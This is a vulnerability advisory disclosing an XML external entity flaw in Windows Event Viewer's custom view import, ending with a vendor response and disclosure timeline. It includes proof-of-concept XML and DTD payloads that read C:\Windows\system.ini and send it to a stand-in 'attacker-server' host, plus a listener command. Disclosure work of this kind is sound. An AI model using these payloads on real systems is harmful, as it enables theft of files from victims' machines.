[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt
[+] ISR: ApparitionSec
Microsoft Event Viewer
The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.
XML External Entity
Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).
Tested Windows 7 SP1
1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.
User gets error like "The specified custom view is not valid" attacker gets
"payload.dtd" (host on attacker server)
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
"MyCustomView.xml" (malicious windows Event Custom View XML)
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
Attacker server listener
python -m SimpleHTTPServer 8080
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
December 4, 2016 : Public Disclosure
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